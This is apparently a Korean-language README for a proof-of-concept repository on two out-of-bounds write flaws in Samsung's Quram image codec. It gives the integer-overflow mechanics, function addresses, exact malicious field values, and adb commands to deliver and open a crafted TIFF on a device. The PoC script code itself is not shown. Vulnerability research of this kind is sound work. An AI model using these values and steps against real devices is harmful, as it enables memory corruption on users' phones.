
삼성의 libimagecodec.quram.so에서 범위를 벗어난 쓰기를 트리거하도록 제작된 TIFF/DNG 파일을 생성하며, 바이너리 분석 및 재현 단계를 포함합니다.
이 저장소는 Samsung Android 기기에 사용되는 Quramsoft 이미지 코덱 라이브러리(libimagecodec.quram.so)의 범위를 벗어난 쓰기(out-of-bounds, OOB) 취약점을 입증하는 개념 증명(Proof-of-Concept, PoC) 파일을 포함합니다.
| CVE | 형식 | 유형 | 심각도 | CVSS 4.0 | 패치 적용 |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | 범위를 벗어난 쓰기 (CWE-787) | 치명적 | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | 범위를 벗어난 쓰기 (CWE-787) | 높음 | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.so취약점은 IFD(Image File Directory) 태그 파싱 함수 WINKJ_ReadExifField(64비트 바이너리에서 오프셋 0x13a0a8)에 존재합니다. 이 함수는 각각 12바이트 구조체인 개별 TIFF/EXIF IFD 항목을 처리합니다:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
count * element_size > 4일 때 4바이트 Value 필드는 파일 오프셋(실제 데이터가 있는 위치를 가리키는)으로 처리됩니다. 그런 다음 코드는 주소 0x13a258에서 경계 검사를 수행합니다:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
이 취약점은 덧셈 과정에서 발생하는 32비트 부호 없는 정수 오버플로우입니다. 공격자가 value_offset과 count * element_size를 합산 결과가 작은 값으로 순환(wrap around)하도록 조작하면, 실제 메모리 접근(base + value_offset)이 경계를 벗어나더라도 검사를 통과합니다.
예시(UNDEFINED 유형, element_size = 1):
32비트 덧셈 0x17FFF + 0xFFFF0001 = 0x10008000은 0x8000으로 잘리며, 이는 buffer_size와 같습니다. 검사는 통과하지만 실제 데이터 포인터(base + 0x17FFF)는 할당된 버퍼의 끝에서 0x7FFF바이트 뒤에 위치합니다.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| 파일 | 설명 |
|---|---|
cve-2026-21045_tiff_oob_poc.py | poc_crash.tif 생성 — 조작된 count/offset으로 ASCII 태그를 통해 OOB 쓰기를 유발하는 비정상 TIFF |
cve-2026-21048_dng_oob_poc.py | poc_crash.dng 생성 — 조작된 count/offset으로 UNDEFINED 태그를 통해 OOB 쓰기를 유발하는 비정상 DNG |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
패치되지 않은 기기(보안 패치 < 2026년 7월)에서 Samsung Gallery(또는 Quram 디코더를 사용하는 모든 앱)로 조작된 TIFF/DNG 파일을 열면 힙 메모리 손상이 발생할 수 있으며, 잠재적으로 다음으로 이어질 수 있습니다:
패치된 기기(SMR Jul-2026+)에서는 이미지가 잘못된 것으로 거부되거나 안전하게 처리되어야 합니다. 완전히 패치된 기기에서 충돌이 발생한다면 별도의 패치되지 않은 문제를 나타낼 수 있습니다.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
WINKJ_ReadExifField에서 추출:
element_size = 1인 모든 유형(BYTE, ASCII, UNDEFINED)은 동일한 핸들러를 공유하며 정수 오버플로우 우회에 동일하게 취약합니다.
이 개념 증명 자료는 교육 및 보안 연구 목적으로만 제공됩니다. 이는 사용자와 개발자가 위험을 이해하도록 돕기 위해 취약점 메커니즘을 시연합니다. 소유하지 않았거나 명시적인 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.
| 필드 | 값(16진수) | 10진수 |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (오버플로우!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
검사 결과: 0x8000 <= 0x8000 | ✅ 통과 | — |
실제 메모리 접근: base + 0x17FFF | 버퍼를 0x7FFF바이트 초과 | ❌ OOB |
| 함수 | 주소(64비트) | 크기 | 용도 |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | 개별 IFD 항목 파싱(취약) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | 모든 IFD 항목 읽기 |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | 상위 수준 TIFF 정보 파서 |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | 주요 TIFF 파싱 진입점 |
decodeTIFF | 0x1a2adc | 580 | libtiff를 통해 TIFF 이미지 디코딩 |
getTIFFImageInfo | 0x1a2d20 | 508 | TIFF 이미지 메타데이터 가져오기 |
copySubImageBuffer | 0x0b2824 | 324 | 하위 이미지 영역 복사 |
TIFFReadDirectory | 0x1aac78 | 5896 | libtiff 4.6.0 디렉터리 리더 |
_TIFFMultiply32 | 0x1a2f1c | 56 | 안전한 32비트 곱셈 검사 |
_TIFFMultiply64 | 0x1a2f58 | 48 | 안전한 64비트 곱셈 검사 |
| 유형 | 이름 | 요소 크기 | 핸들러 주소 |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | 설명 | 상태 |
|---|
| CVE-2025-58477 | libimagecodec.quram.so의 IFD 태그 파싱에서 OOB 쓰기 (SMR Dec-2025) | ✅ 패치됨 |
| CVE-2026-20973 | libimagecodec.quram.so에서 OOB 읽기 (SMR Jan-2026) | ✅ 패치됨 |
| CVE-2026-21045 | libimagecodec.media.quram.so의 TIFF 파싱에서 OOB 쓰기 (SMR Jul-2026) | ⚠️ 나에게는 패치되지 않음 |
| CVE-2026-21048 | libimagecodec.media.quram.so의 DNG 파싱에서 OOB 쓰기 (SMR Jul-2026) | ⚠️ 나에게는 패치되지 않음 |
| CVE-2026-4775 | libtiff 4.6.0 putcontig8bitYCbCr44tile에서 부호 있는 정수 오버플로우 | ⚠️ 나에게는 패치되지 않음 |
| CVE-2024-7006 | libtiff tif_dirinfo.c에서 NULL 역참조 | ✅ 4.6.1에서 수정됨 |